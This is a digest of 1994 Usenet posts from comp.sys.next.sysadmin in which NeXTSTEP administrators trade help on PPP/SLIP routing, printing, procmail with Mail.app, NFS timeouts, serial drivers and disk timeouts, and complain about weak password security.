Message-ID: <2lh8f2$dkb@bigfoot.wustl.edu>
References: <2lf7kp$667@times.stanford.edu>
In article <2lf7kp$667@times.stanford.edu>,
Christopher C McAfee <mcafee@Xenon.Stanford.EDU> wrote:
>
>Hi, I am trying to get PPP running for my NeXTstation color (NS3.2)
>After searching around the FAQ a bit, it seems my three choices are:
>
> 1) PPP 0.3, a port for NeXTstep 2.1
>
> 2) Morningstar's implementation of PPP.
I tried MorningStar on 3.1 for a 30 day demo. It's great!
It's got a full set of packet filtering capabilities,
fully functional dial out on demand, configurable keep alive
settings, supports encrypted packets, and has this really
cool feature ( I forget what it's called) that gives priority
to interactive packets over batch packets. So, while doing a
massive ftp job, telnet is still snappy! Very nice. I just
started trying TranSysPNI1.7beta and really miss the priority
feature. And dial out too, though that's coming. $477 educational.
Mike Bray
mrb@earth.wustl.edu
From: alevine@ucsd.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Cursed Postscript: Preview+print yes, lpr no.
Date: 8 Mar 1994 07:31:27 GMT
Organization: The Avant-Garde of the Now, Ltd.
Distribution: world
Message-ID: <2lh9kf$ml7@network.ucsd.edu>
This is weird. We have a pc with windoze that prints to a NeXT
printserver (3.2, black, Next 400dpi laser printer) via a free lpr client.
The setup worked fine until yesterday. On installing a number of new
TrueType fonts, we discovered the following problem: files containing the
new fonts would often produce reams of postscript error messages instead
of useable output. Naturally, I ftp'd the implicated postscript over to
the NeXT. Preview.app displays and prints the files just fine, with only
the usual initial complaint about the cntl-D Windows postscript puts at
the beginning of its dumps. I thought the problem might be a flakey
freeware ftp client on the pc side, but an attempt to lpr the same files
locally on the NeXT produces the same garbage results.
Any pointers?
--
Alexander Levine Department of Philosophy
alevine@ucsd.edu 0302, UCSD
NeXTMail fine La Jolla, CA 92093
************************************************
Disclaimer: I am responsible for all opinions
expressed by anyone at any time.
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: PPP on NeXTStep 3.2
Date: 8 Mar 1994 00:21:39 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2lh923$psc@cheltenham.cs.arizona.edu>
References: <CMA3sq.AHA@ariel.cs.yorku.ca> <2lfemb$58p@steffi.demon.co.uk>
>
>However, I've been informed that there are a number of PPP projects
>underway at the moment which should be seeing light of day real soon.
>
>My advice is to use SLIP and wait for a _solid_ PPP implementation to
>become available.
>
>BTW: Anybody know if Transys are writing a PPP encapsulator for PNI?
>
I'd love to get in contact with these developers. I started with
ppp 0.3 for ns/fip and never did finish it. I have experience with
writing comm applications on nextstep so I perhaps could be of help,
at least I would like to beta test. I'm willing to play with it,
try different params and see what happens.
-nick kline
kline@cs.arizona.edu
Newsgroups: comp.sys.next.sysadmin
From: blanford@gemstone.com (Ron Blanford)
Subject: Re: SLIP and Routing
Message-ID: <1994Mar8.082422.11226@venice.sedd.trw.com>
Originator: blanford@arkenstone
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <CM4CBE.nF@nvc.cc.ca.us>
Date: Tue, 8 Mar 1994 08:24:22 GMT
In article <CM4CBE.nF@nvc.cc.ca.us> fozztexx@nvc.cc.ca.us (Chris Osborn)
writes:
>
> I've gotten the SLIP package installed on my server (NeXT, running
> 3.2), and it's been working ok.
>
> However, I've now installed SLIP at home, and want to use the server
> as a SLIP server. Once I get connected, I can talk to the server ok,
> but how do I convinvce the server to route packets that are coming in
> over the SLIP to other hosts connected to its Ethernet?
>
> Also, how do I go the other way, convincing the server to route
> outbound packets that came in from the Ethernet to go out over the
> SLIP?
>
Well I don't claim to be any sort of networking expert and I expect that
others can answer the question more lucidly than I, but since I went
through this exact exercise last weekend perhaps I can shed a little
light.
Our configuration is this: slipgateway is the gateway host on both the
ethernet (146.233.101.1) and the slip network (146.234.102.99).
Etherclient (146.233.101.100) and slipclient (146.234.102.98) are other
hosts on the ethernet and slip networks respectively.
After connection, I use the route command to add and delete routes until
the netstat shows these connections:
slipclient> netstat -rn
Routing tables
Destination Gateway Flags Refs Use Interface
127.0.0.1 127.0.0.1 UH 3 3417 lo0
146.234.102.98 127.0.0.1 UH 5 456 lo0
default 146.234.102.98 UG 1 575 pni0
slipgateway> netstat -rn
Routing tables
Destination Gateway Flags Refs Use Interface
127.0.0.1 127.0.0.1 UH 3 1193 lo0
146.234.102.99 127.0.0.1 UH 0 1611 slip0
default 146.234.102.99 UG 2 679 slip0
146.233 146.233.101.1 U 38 81667 en0
etherclient> netstat -rn
Routing Table:
Destination Gateway Flags Ref Use Interface
-------------------- -------------------- ----- ----- ------ ---------
127.0.0.1 127.0.0.1 UH 0 5 lo0
146.233.0.0 146.233.101.100 U 3 12 le0
224.0.0.0 146.233.101.100 U 3 0 le0
default 146.233.101.1 UG 0 18
With this configuration, I have no trouble at all using standard Unix
services such as telnet, ftp, and rlogin from any host to any other.
I cannot, however, run a DBKit application on the slipclient to access a
database on the etherclient. Not a single packet gets transferred. If
any of you have insight into this, I would appreciate learning more.
-- Ron
blanford@gemstone.com
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Shadow Passwords
Date: 8 Mar 1994 09:46:58 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2lhhii$fk4@agate.berkeley.edu>
References: <1994Mar7.153946.7673@Princeton.EDU>
In article <1994Mar7.153946.7673@Princeton.EDU> serge@dadofsam.Princeton.EDU writes:
>In article <16F6ED305S86.CCGREG@mizzou1.missouri.edu>
>CCGREG@mizzou1.missouri.edu (Greg Johnson) writes:
>> of computing to all K-Ph.D schools in my state, sorry, NetInfo is even less
>> secure than NIS. Please prove me wrong, now, or soon. Think of what
>> a good selling point that would be.
>>
>> What does it take to escalate this issue?
>
>At the recent NeXT Developer conference, I asked about NeXT's plans for
>improving security (e.g., kerberos, better control over NXHost, etc.). The
>response was, in brief, "our customers haven't asked for that, so we're not
>doing it". Here's a chance for customers to ask! If you care about having
>plain-text passwords broadcast all over your network, chime in!
I don't even try anymore. Do we (at edu sites) count as customers?
I am waiting for some major commercial NeXT customers to get hit
with break-ins, because that looks like what it takes.
It still disturbs me that they didn't even have a sense to pay
lip service to your question/request for improved security.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: dekorte@scri.fsu.edu (Steve Dekorte)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT nntpServer
Date: 8 Mar 1994 10:49:34 GMT
Organization: Florida State University
Message-ID: <2lhl7u$3ov@mailer.fsu.edu>
Has anyone out there gotten an nntp news server running
under NeXTstep??? If so, could you please point me in the
direction of an ftp site with whatever files I need to
do the same?
Thanks for any help,
Steve Dekorte
From: dekorte@scri.fsu.edu (Steve Dekorte)
Newsgroups: comp.sys.next.sysadmin
Subject: Getting Procmail to work with NeXTmail mail
Date: 8 Mar 1994 12:07:09 GMT
Organization: Florida State University
Message-ID: <2lhppd$7r5@mailer.fsu.edu>
Has anyone gotten Procmail working with NeXTmail?
I've installed procmail and gotten it to sort the incoming
mail to the appropriate .mbox files, but when I use
Mail.app I have the following problems:
1) New mail isn't recognized until I quit Mail.app
and start it up again.
2) New Mail doesn't have the unread markers(the grey dots)
in front of them.
3) NeXTmail messages just appear as a bunch of uuencoded
garbage.
Has anyone found fixes for these problems?
Thanks for any help,
Steve Dekorte
PS. please respond by email
From: tilley@cc.umanitoba.ca ()
Newsgroups: comp.sys.next.sysadmin
Subject: spray from 040 cube to 030 cube on same subnet (problem?)
Date: 8 Mar 1994 12:52:02 GMT
Organization: The University of Manitoba
Message-ID: <2lhsdi$mh3@canopus.cc.umanitoba.ca>
Keywords: packets dropped
Perhaps someone can verify the following:
040> spray 030
gets 3 packets/sec with 96% dropped packets.
030: spray 040
gets 500 packets/sec with 0% dropped packets.
Details:
Both: NS3.2, in same cube box, 3 foot thin-net, good terminators.
040: 20/660, bsd from 660, internal floppy and OD
030: 8/0, ben from 040, internal OD
The network seems to be working fine.
--
.. Richard <tilley@cc.umanitoba.ca> NextMail OK.
From: wilkie@cslab.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.sysadmin
Subject: Zombie print job?
Date: 8 Mar 1994 13:06:30 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2lht8m$gek@email.tuwien.ac.at>
The following has happened: after (successfully) fighting with my no-name
box for some months to get NSFIP running after all, I (foolishly) decided
to go one step further: to attach a printer via COM2:. Since a HP DJ500
needs something like DOTS, I FTPd a demo of it and tried it out. Nothing.
Only that the test page still seems to be there. Since that failed attempt
the SCSI-HDD light blinks monotonously with a frequency of once per second
or so. Performance has _slightly_ deteriorated. Is it still trying to
access the printer (this has been going for DAYS)? Print manager
(naturally) shows no print jobs left, neither does DOTS.
Please comment on this...
a.w.
--
* _ * Alexander Wilkie *
* / \ \ / * wilkie@cslab.tuwien.ac.at *
* /---\ \ /\ / * Technical University Vienna *
* / \ \/ \/ * Austria / Europe *
* * (NeXTMail o.k.) *
From: ci091@cleveland.Freenet.Edu (Paul W. Winkeler)
Newsgroups: comp.sys.next.sysadmin
Subject: TransSys PNI1.7-beta woes
Date: 8 Mar 1994 13:50:08 GMT
Organization: Case Western Reserve University, Cleveland, OH (USA)
Message-ID: <2lhvqg$80h@usenet.INS.CWRU.Edu>
Netters,
We are about to deploy some NeXTSTEP based Intel machines and need to
have SLIP on them. I installed TransSys' beta PNI1.7 and it actually
works. However, (isn't there always an however?) it is veeeeeeeeery
slow. The problem appears to be this.
When I "ping" a machine at the other end of my SLIP link, I can see the
echo request packet go out (by looking at the modem's SendData light) and
almost immediately I see a little blip on the ReceiveData light (the
echo response I presume.) No message printed by ping yet though. Not
until the second echo request goes out do I see a line printed by
ping?!
My guess is that somehow one of the layers in the PNI "stack" is
buffering packets more than it should. Does anyone else have this
problem? I have a few other pieces of anecdotal evidence that seem to
support my theory but by now I am definitely no longer qualified to
render an objective analysis so I will try and not confuse matters even
more.
We have tried just about every commonly used value for the interface's
MTU without a change in end-result.
Please reply by e-mail and I will summarize my findings for the net.
Thanks,
PaulW
--
Paul Winkeler at Revco D.S. Inc
Courtesy of the Cleveland Freenet at CWRU
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Getting Procmail to work with NeXTmail mail
Date: 8 Mar 1994 13:36:55 -0000
Organization: me organised, that's a joke.
Message-ID: <2lhv1n$13v@steffi.demon.co.uk>
References: <2lhppd$7r5@mailer.fsu.edu>
dekorte@scri.fsu.edu (Steve Dekorte) wrote in comp.sys.next.sysadmin
>
>Has anyone gotten Procmail working with NeXTmail?
Yes, doesn't anybody read news?
>
>I've installed procmail and gotten it to sort the incoming
>mail to the appropriate .mbox files, but when I use
>Mail.app I have the following problems:
>
>1) New mail isn't recognized until I quit Mail.app
> and start it up again.
Redirect all NeXT Mail to /usr/spool/mail/$USERNAME (where Usename is
your user name)
>
>2) New Mail doesn't have the unread markers(the grey dots)
> in front of them.
It does for me.
>
>3) NeXTmail messages just appear as a bunch of uuencoded
> garbage.
You should use Carl's appnmail not just regular procmail. It will
properly lock the Mailboxes in accordance with Mail.app. AND take care
of creating the appropriate directories.
>
>Has anyone found fixes for these problems?
>
>Thanks for any help,
>Steve Dekorte
>
>PS. please respond by email
If enough people ask me I'll spend some time and put together and .rtf
that explains how to use procmail under NeXTSTEP in conjuction with
Mail.app.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: fax device in NetInfo /dev/cua only?
Message-ID: <CMBH6I.t0@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
Date: Mon, 7 Mar 1994 22:59:05 GMT
Hi,
I just found the value of property device for my fax under fax_modems to be
/dev/cua. My hardware/software allows for hardware handshake.
Would it not be appropriate to set the value to /dev/cufa instead ?
What is the property being used for anyway?
Juergen
---
Juergen Sell E-Mail js@icem.de ( NeXTMail ok )
Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== The revolution will not be televised - GilScottHeron 1970 ==
== The revolution will not be posted - Juergen 1994 ==
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: Symlinks -- absolute and relative
Date: 8 Mar 1994 15:35:43 GMT
Organization: Brown University
Message-ID: <2li60f$bi3@cat.cis.Brown.EDU>
One annoying thing about using the WM to link files into other directories
is that the links created are always absolute:
% pwd
/some/random/dir
% ls -l foo
lrwxrwxrwx 1 joshua 26 Jan 20 15:38 foo -> /some/other/dir/foo
This is often the Wrong Thing, because you may later want to move the
entire /some hierarchy onto a MO disk, or give it to a friend, or post
it to an archive. What is wanted in these cases is a relative link:
% ls -l foo
lrwxrwxrwx 1 joshua 26 Jan 20 15:38 foo -> ../../other/dir/foo
I can sort of understand why NeXTstep doesn't provide unified support
for relative symlinks in the GUI---one more layer of confusion for the
newbie---though I would dearly like to have "create new relative link"
and "create new absolute link" BOTH show up in the alert panel when a
recursive copy hits a link, so I could take my pick.
Failing that, can some kind Unix guru suggest a command-line solution, or
give me some tips about writing one? What I envision is 'abslink foo'
and 'rellink foo', each of which exits with an error if foo is not a
symlink, does nothing if foo is the right sort of link, and converts it
if it is the wrong sort. The programming problem breaks down into two
parts, as I see it: first, I have to actually read the link, which
looks like a job for a shell script; then, I have to read the current
path, look for where it diverges, and count how many '../'s I need---or,
conversely, turn the existing '../'s into elements of the current path.
This looks like a lot of sed-grunging to me---can anyone get me started
on a better way, perhaps in C or in perl?
Bribe offered for help: my RTF literature collection, which is more or
less the union of the Internet Wiretap, Gutenberg, the PD part of the
Oxford Text Archive, and a lot of stuff that's available nowhere else,
has grown from 48 MB to about 85 MB since the last time I uploaded it
to the FTP sites. It's also now cross-indexed by author, title, and
subject...but the cross-indexing is by absolute link, so the links will
fail if you move it into your own directory structure. The sooner I
have a good clean solution to this problem, the sooner the community
can have my text collection!
On se veut; on s'enlace. |================================================
On s'en lasse: | Joshua Burton 401/435-6370 burton@het.brown.edu
..on s'en veut. (Anon.) |================================================
From: sundaram@cps.msu.edu (Divya Alok Sundaram)
Newsgroups: comp.sys.next.sysadmin,
Subject: comp.sys.next.software, comp.sys.next.misc
Date: 8 Mar 1994 16:10:02 GMT
Organization: Department of Computer Science, Michigan State University
Distribution: usa
Message-ID: <2li80q$opt@msuinfo.cl.msu.edu>
Originator: sundaram@pacific
Hi all,
I wanted to find out if there is a POP mail server available for the NeXT
Slabs. I have a NeXT slab at work and all my colleagues are on a Banyan
Vines network. They wish to run a POP mail utility to retrieve their mail
from the NeXT (It is pretty pathetic when the only use for a Slab is to be
a "mail machine"). Any help and advice would be appreciated.
Please e-mail any suggestions (as I still have to catch up on the backlog
of news articles to read 8->.) and I will post a summary if so desired.
Divya
--
-----------------------------------------------------------------------
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"C" how that works!
Newsgroups: comp.sys.next.sysadmin
From: huqj@il.us.swissbank.com (Javed Huq)
Subject: FAQ - Help
Message-ID: <1994Mar8.170359.15437@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Tue, 8 Mar 1994 17:03:59 GMT
can anyone mail me the FAQ of this group
I dont have the ability to do ftp.
thanks
From: pkron@corona.com (Peter Kron)
Organization: Corona Design, Inc., Seattle, WA
Distribution: world
Date: Tue, 8 Mar 1994 06:36:47 PST
Message-ID: <1994Mar08.143647.378@corona.com>
Newsgroups: comp.sys.next.sysadmin
Subject: Zombie print job?
References: <2lht8m$gek@email.tuwien.ac.at>
From: wilkie@cslab.tuwien.ac.at (Alexander Wilkie)
> Since a HP DJ500 needs something like DOTS, I FTPd a demo
> of it and tried it out. Nothing. Only that the test page
> still seems to be there. Since that failed attempt the
> SCSI-HDD light blinks monotonously with a frequency of
> once per second or so. Performance has _slightly_
> deteriorated.
Did you check /usr/adm/lpd-errs? Presumably DOTS is using an lpd
(printer daemon) output filter to rasterize the PostScript output and
drive the printer. If there are errors in that process (probably
something that was set up wrong, such as serial port setup or
PostScript errors), it will generate errors to lpd-err.
I would guess you have a lot by now, ;-)
I do something similar with Ghostscript, and this is exactly the
scenario I see when there are errors. You can stop the errors by
starting a shell and issuing an "lprm" command to stop the printing
daemon.
---
NeXTMail:Peter_Kron@corona.com
Corona Design, Inc.
P.O. Box 51022
Seattle, WA 98115-1022
From: doug@tango.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Getting Procmail to work with NeXTmail mail
Date: 8 Mar 1994 18:46:39 GMT
Organization: Center for Computer Music Research and Composition
Sender: doug@tango (Douglas Scott;Sysadm)
Distribution: world
Message-ID: <2lih6f$i3v@hub.ucsb.edu>
References: <2lhppd$7r5@mailer.fsu.edu>
Originator: doug@tango
In article <2lhppd$7r5@mailer.fsu.edu>, dekorte@scri.fsu.edu (Steve Dekorte) writes:
|>
|> Has anyone gotten Procmail working with NeXTmail?
|>
|> I've installed procmail and gotten it to sort the incoming
|> mail to the appropriate .mbox files, but when I use
|> Mail.app I have the following problems:
|>
|> 1) New mail isn't recognized until I quit Mail.app
|> and start it up again.
|>
|> 2) New Mail doesn't have the unread markers(the grey dots)
|> in front of them.
|>
|> 3) NeXTmail messages just appear as a bunch of uuencoded
|> garbage.
|>
|> Has anyone found fixes for these problems?
|>
|> Thanks for any help,
|> Steve Dekorte
|>
|> PS. please respond by email
You need to get the Mail.app-utilities off of cs.orst.edu -- this includes several
programs that, when combined with procmail, allow you to properly append mail to
any Mailbox of your choice, and avoid all the problems you mention.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: EATA timeout
Message-ID: <1994Mar8.134126.17071@umiami.ir.miami.edu>
Date: 8 Mar 94 13:41:26 EST
Organization: Univ of Miami IR
I also have EATA timeouts with an IntelGX with a DPT EISA SCSI card
and a DEC DSP3160S (1526MB) disk. One crash, which I first attributed
to some other software problems, resulted in minor filesystem damage.
Other timeouts have been fairly uneventful but annoying.
Frequency of timeouts is one cluster of two or three timeouts every
10 days.
I have been running a Sony CD-ROM and a Wang DAT - I noticed from
a previous post that all users listing configurations seem to
be running multiple SCSI devices. I am now booted up with the
CD and DAT turned off and will test the theory that multiple
SCSI devices may contribute to the problem.
Another observation - Typically, I see the first timeout of a sequence
appear when I am logging on early in the day. The login process
may take as much as a minute or two before the browser appears.
After that I have EATA timeout messages in /usr/adm/messages.
Then, I may get one or two timeouts of lesser severity (with
respect to amount of searching or number of tries in message
file) during the day, always when logging in or out. The intel
machine is a server hooked to three black and twelve white machines
using IDE drives. In spite of intensive disk activity during class
sessions, I have never seen a timeout appear in the messages file
during these sessions.
Finally, I note that user dirs with lots of files in them generate
a lot of disk activity on login, continuing for many seconds after
the browser has appeared. What is happening during that time? This
seems to be normal activity and doesn't generate strange messages
but I am puzzled by the large amount of activity and wonder if the
events taking place during that time are related to the timeouts?
As others including DPT and NeXT become aware of this situation,
I hope some fix will appear as the thought of my server being
highly unstable is scary.
One final thought - I have been running the server since November -
I did not notice anything strange happening until after I upgraded
to NS 3.2 in December AND got my DAT (and started running the CDROM
all the time also) in January.
Good luck and regards to all those in the "Adventure Land of NeXTstep/
Intel Computing"
Thomas J. Herbert
University of Miami
therbert@umiami.ir.miami.edu (No NeXTmail - internet connection
expected any hour now on the server but not yet!)
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: NeXT nntpServer
Message-ID: <CMCtyD.C0@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <2lhl7u$3ov@mailer.fsu.edu>
Date: Tue, 8 Mar 1994 16:32:36 GMT
In article <2lhl7u$3ov@mailer.fsu.edu> dekorte@scri.fsu.edu (Steve
Dekorte) writes:
>
> Has anyone out there gotten an nntp news server running
> under NeXTstep??? If so, could you please point me in the
> direction of an ftp site with whatever files I need to
> do the same?
>
> Thanks for any help,
> Steve Dekorte
I use the one that came with the CNews package... Workes without
problems...
From: arcadia.informatik.uni-muenchen.de
cd next (Is a macro, do not combine with rest of path!)
cd Unix/network
CNews.20Feb93.NI.b.tar.gz
(NOTE: use the file above, the file CNews.20.Feb.1993.NI.tar.gz doesn't
unpack without errors).
Gerd
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: dean@rdcalr.realdec.com (Dean Banfield)
Subject: Silence on serial comm. (fixed in 3.2?)
Organization: Real Decisions Corporation
Date: Mon, 7 Mar 1994 18:26:08 GMT
Message-ID: <CMB4JM.K1E@rdcalr.realdec.com>
Hi,
Some time ago there was much noise about the general failure of the
serial port drivers at high speeds. System panics and the like occurred
regularly on white hardware. I grabbed the serial driver update that
Next placed on orst (they did so under fire), and it improved things
a bit, but I had since given up on my UUCP dreams and resorted to
occasionaly use of the Microphone Pro demo for brief dial-outs. I use
tip sometimes as well.
So, there I was the other night attempting to use ZMODEM to grab a
distribuition from cs.orst.edu, via my World account, when pow! Hung
city. The console window, which I keep open for this sort of thing
complained bitterly about overruns on the device. Any hope for this
sort of use of a modem. I've had no problems on white hardware over the
last few years running a FAST Telebit out of an SCO system. Am I hopelessly
out of touch. Should I get 3.2? Is there a fix for 3.1?
Thanks. Dean
--
===============================================================
Dean Banfield
Real Decisions Corporation Voice: 203.656.1500
22 Thorndal Circle FAX: 203.656.1659
Darien, CT USA 06840 e-mail: dean@rdcalr.realdec.com
===============================================================
From: jeffo@uiuc.edu (J.B. Nicholson-Owens)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Shadow Passwords
Date: 8 Mar 94 21:37:10 GMT
Organization: University of Illinois at Urbana
Message-ID: <jeffo.763162630@uiuc.edu>
References: <16F6ED305S86.CCGREG@mizzou1.missouri.edu> <1994Mar7.153946.7673@Princeton.EDU>
Serge J. Goldstein writes:
>At the recent NeXT Developer conference, I asked about NeXT's plans for
>improving security (e.g., kerberos, better control over NXHost, etc.). The
>response was, in brief, "our customers haven't asked for that, so we're not
>doing it". Here's a chance for customers to ask! If you care about having
>plain-text passwords broadcast all over your network, chime in!
I've read people's request for these things for a *long* time. I've
come to the conclusion that it's not that NeXT's customers haven't
asked for it, it's that NeXT is being selective in what customers they
want to listen to. The customers who have spent the most on NeXT
haven't asked for it (even though they probably should). This doesn't
mean that NeXT shouldn't or couldn't put in security-improving
features without a request from their largest customers.
--
*NO* NeXTmail please
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: Silence on serial comm. (fixed in 3.2?)
Date: 8 Mar 94 23:09:04 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.763168144@info2.rus.uni-stuttgart.de>
References: <CMB4JM.K1E@rdcalr.realdec.com>
dean@rdcalr.realdec.com (Dean Banfield) writes:
>So, there I was the other night attempting to use ZMODEM to grab a
>distribuition from cs.orst.edu, via my World account, when pow! Hung
>city. The console window, which I keep open for this sort of thing
>complained bitterly about overruns on the device. Any hope for this
>sort of use of a modem. I've had no problems on white hardware over the
>last few years running a FAST Telebit out of an SCO system. Am I hopelessly
>out of touch. Should I get 3.2? Is there a fix for 3.1?
The original 3.2 serial driver is worse than the updated 3.1 driver.
But I recommend upgrading to 3.2 for various reasons. The serial driver
solution for 3.2 was contributed by Mark Salyzyn who ported a serial
driver from BSD 4.4 to NS, and it works just great and very reliable
for three months now.
Mark's driver is calles "Mux" and available on cs.orst.edu or
ftp.uni-stuttgart.de (and a few other ftp sites).
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to Organizing Mailboxes?
Date: 9 Mar 1994 00:12:57 GMT
Organization: UCLA Microcomputer Support Office
Distribution: world
Message-ID: <2lj4a9$t88@news.mic.ucla.edu>
References: <2l8sit$809@digifix.digifix.com>
But of course the interesting feature would be to have one message
assigned to 2 mailboxes. For example, a NeXT computer advertised for sale
may want to go into my mailboxes "NeXT" and "forsale."
/ivo welch
From: Mark Engelhardt <markE@Wayzata-Tec.COM>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: AppleTalk under NS 3.2 (Moto)?
Date: 9 Mar 1994 03:42:05 GMT
Organization: Wayzata Technology Inc
Distribution: world
Message-ID: <2ljgid$ihi@cedar.mr.net>
References: <1994Mar2.113151.24972@news.lrz-muenchen.de>
Re: AppleTalk under NS 3.2 (Moto)?
I just purchased a Next TurboColor (3.0)
I do not know were to find the apple talk stuff you mentioned
Any help would be appreciated
Mark Engelhardt
WayzataTec@aol.com
Newsgroups: comp.sys.next.sysadmin
From: cs911409@ariel.cs.yorku.ca (RICHARD DAVID ASPINALL)
Subject: NFS Problem .. sorta solved
Message-ID: <CMDrC2.MMG@ariel.cs.yorku.ca>
Sender: news@ariel.cs.yorku.ca
Organization: York University, Dept. of Computer Science
Date: Wed, 9 Mar 1994 04:33:37 GMT
Several weeks ago I posted a problem with NFS where the NFS
servers seemed to become inaccessable at odd times. Since the problem
was only occuring at NON-peak hours (like between 4am -cron time and 9am)
I have been cautious about making the issue worse by "fixing" it. Of the
three responses I received (thankyou all) 2 were sympathetic and one
offered a possible solution.
> Josh Simon, simonj@swissbank.com / jss@its.com / jss@umich.edu / jss@umichum.bitnet
> writes:
If I had to guess (I used to do tech support for system and network admins),
I'd say your NFS timeouts may be set too low. What sort of network are the
two machines on? How busy is this (sub)net? What timeo= values are the
filesystems mounted with (or are you using the default)?
We wound up suggesting, especially where routers were concerned, raising the
time out value to 20 (which is 2 seconds) form the default (either 5 or 10,
I don't recall which offhand). The syntax would be adding a ",timeo=20"
to the /etc/fstab line for each file system.
NFS timeouts are the most likely cause of intermittent flakiness on a
well-established network as yours seems to be.
------------------------------------------------------------
So on Mar 2 I changed all the timeo= values in netinfo and just
to be sure I rebooted the network (its good to be the king :). Since
that time I had not seen my original error message until today. So in
my eyes, I have gone from multiple errors per day to one in the past
week. I was going to wait until Fri to summerize but since the error has
returned I thought it safe to at least report limited success. For those
interested the error message looks like
monkey:dave 101 # REMOTE_SH.circus "cat /usr/adm/messages| grep NFS"
tiger : cat /usr/adm/messages| grep NFS
Mar 8 10:52:44 tiger mach: NFS server bigtop not responding still trying
Mar 8 10:52:45 tiger mach: NFS server bigtop ok
Mar 8 12:14:04 tiger mach: NFS server bigtop not responding still trying
Mar 8 12:15:19 tiger mach: NFS server bigtop ok
Fortunately from the times listed you can see how small the
problem has become.
Again thanks to all who responded, and if anyone else has any
insight in this I would love to hear about it.
David
---
David Aspinall ---------------- Programmer:Student:Person:Object
E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my
NeXTMail: dave@Circus.YorkU.CA | pants and Torments me!
V-mail : (416) 663-4997 | -- Dieter
--
David Aspinall ---------- Just Another Student Object :)
E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my
NeXTMail: dave@huma.yorku.ca | pants and Torments me!
V-mail : (416) 663-4997 | -- Dieter
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Getting Procmail to work with NeXTmail mail
In-Reply-To: dekorte@scri.fsu.edu's message of 8 Mar 1994 12:07:09 GMT
To: dekorte@scri.fsu.edu (Steve Dekorte)
Message-ID: <CEDMAN.94Mar8090432@capitalist.princeton.edu>
Originator: news@nimaster
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Date: Tue, 8 Mar 1994 14:04:31 GMT
In article <2lhppd$7r5@mailer.fsu.edu> dekorte@scri.fsu.edu (Steve Dekorte) writes:
Has anyone gotten Procmail working with NeXTmail?
I've installed procmail and gotten it to sort the incoming
mail to the appropriate .mbox files, but when I use
Mail.app I have the following problems:
1) New mail isn't recognized until I quit Mail.app
and start it up again.
2) New Mail doesn't have the unread markers(the grey dots)
in front of them.
3) NeXTmail messages just appear as a bunch of uuencoded
garbage.
Has anyone found fixes for these problems?
These are the classical symptoms of mailapp-utilities deprivation.
The patient believes that it is possible to just append mail messages
to Foo.mbox/mbox files because that seems to work kind-of some of the
time. However, that is not so and the effects are as listed above and
possibly worse:
4) Friends, colleagues and spouses start to shun the patient because he so
often ignores their mail messages. His desparate pleas of "It is not my
fault ! I never got that message ! Look in my mailbox files, it
just isn't there !" are not believed.
The only known cure is for the patient to ftp to cs.orst.edu, get the
mailapp-utilities, carefully read the appnmail man page and act
accordingly. In that case long term prognosis is good as long as the
patient doesn't revert to directly touching his mbox files again.
That will be $0.00. We take Visa, AmEx and personal checks but no
Medicare. Please talk with my receptionist.
Dr. Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: How to Organizing Mailboxes?
In-Reply-To: ivo@next.agsm.ucla.edu's message of 9 Mar 1994 00:12:57 GMT
To: ivo@next.agsm.ucla.edu (Ivo Welch)
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Date: Wed, 9 Mar 1994 03:55:44 GMT
In article <2lj4a9$t88@news.mic.ucla.edu> ivo@next.agsm.ucla.edu (Ivo Welch) writes:
But of course the interesting feature would be to have one message
assigned to 2 mailboxes. For example, a NeXT computer advertised for sale
